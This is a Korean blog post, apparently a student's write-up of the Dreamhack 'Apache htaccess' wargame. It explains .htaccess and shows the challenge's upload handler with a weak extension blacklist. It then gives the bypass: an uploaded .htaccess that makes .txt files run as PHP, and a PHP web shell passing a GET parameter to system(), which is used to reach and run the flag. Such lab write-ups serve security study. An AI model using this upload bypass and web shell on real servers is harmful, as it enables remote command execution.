촉촉한초코칩

Dreamhack - Apache htaccess 본문

Study/Web Hacking

Dreamhack - Apache htaccess

햄친구베이컨 2024. 10. 5. 02:12

 

코드 

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online File Box</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <div class="field">
                <div id="file-js" class="file has-name">
                    <label class="file-label">
                        <input class="file-input" type="file" name="file">
                        <span class="file-cta">
                            <span class="file-label">Choose a file...</span>
                        </span>
                        <span class="file-name">No file uploaded</span>
                    </label>
                </div>
            </div>
            <div class="control">
                <input class="button is-success" type="submit" value="submit">
            </div>
        </form>
        </div>
        </div>
        <script>
            const fileInput = document.querySelector('#file-js input[type=file]');
            fileInput.onchange = () => {
                if (fileInput.files.length > 0) {
                const fileName = document.querySelector('#file-js .file-name');
                fileName.textContent = fileInput.files[0].name;
                }
            }
        </script>
    </body>
</html>
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

 

 

.htaccess란?

파일명 앞의 점은 숨김 파일을 뜻한다. 

해당 파일은 디렉토리에 대한 설정 옵션을 제공한다. → 웹 서버에서 클라이언트에서 접근할 시 어떤 식으로 서비스를 제공할지 가상 호스트 설정 파일을 통해 결정하는데, 이때 서비스할 파일이 위치한 곳의 디렉토리 경로를 지정해야 한다. 그리고 디렉토리의 접근을 허용하는 여부와 어떻게 보여줄지 등을 정하게 된다. 

<directory> 블록을 통해 지정하게 되는데, .htaccses 파일은 이것과 같은 역할을 수행한다.
<Directory> 블록을 통해 서버의 전역 설정이 있는 상태에서, .htaccess 파일을 사용하면 .htaccess가 위치한 디렉토리에 대한 허용 규칙을 덮어쓰게 된다.

권한 없는 사용자가 서버 전체에 접근하도록 하지 않고 일시적으로 최소한의 필요 권한만 주기 때문에 요청 작업을 처리할 때 유용하게 사용된다. 

.htaccess 취약점

해당 파일이 존재여부를 탐색하기 위해 속도가 느려질 뿐만 아니라 무분별하게 사용하면 소스가 있는 디렉토리에 접근 권한을 클라이언트에게 넘기게 될 수 있다.

 

공격

.ataccess 파일로 추가적인 설정을 준다. 파일을 업로드하면 upload 폴더에 저장된다. 
그러므로 upload 폴더에 .htaccess 파일을 업로드하여 그 폴더 안에서 우리가 원하는 확장자를 php로 실행시킨다. 

flag가 어떤 확장자로 저장되어 있는지는 모르지만.. 일단 .txt 파일 확장자가 php로 실행될 수 있도록 한다. 

AddHandler php5-script .txt
AddType text/html .txt

 

파일명 : .htaccess

 

그리고 attack.txt 파일을 올린다. 

<?php
	echo "attack!";
?>

 

두 파일을 업로드 하고 attack.txt에 접근해본다.

 

이번에는 인자를 system 함수로 넘길 수 있는 파일을 업로드한다. 

<?php
	system( $_GET[cmd] );
?>

파일을 만들려고 했더니 악성코드라고 생각해서 자동 삭제되었다.. -> 잠시 멈췄다.

 

flag가 있을 거라 생각했는데 없었다.. 

 

hi에 권한 주면 변경은 된다..

그런데 flag를 어디서 찾아야 할지 감이 안 잡혔다. 

 

ls가 아니라 ls /을 해서 루트 디렉토리의 목록을 본다. 

여기서 flag에 권한을 부여한다. 

 

따로 권한을 부여하는게 아니라 flag에는 이미 x를 할 수 있는 권한이 있기 때문에 그냥 실행만 해주면 되는 거였다.. 

그런데 내가 어렵게 생각해서 cat flag, cmd ./flag, cmd ../flag 막 이렇게 넣어서 안 됐던 거였다.. 

 

출처

https://power-girl0-0.tistory.com/522

https://code1018.tistory.com/96

https://lonelynova.tistory.com/225

https://velog.io/@hyeonjinlee/Dreamhack-Apache-htaccess

'Study > Web Hacking' 카테고리의 다른 글

Webhacking.kr - old-15  (1) 2024.11.08
Webhaking.kr old-18  (1) 2024.11.08
Dreamhack - blind sql injection advanced  (0) 2024.09.29
wargame.kr md5 password  (0) 2024.09.23
wargame.kr type confusion  (0) 2024.09.13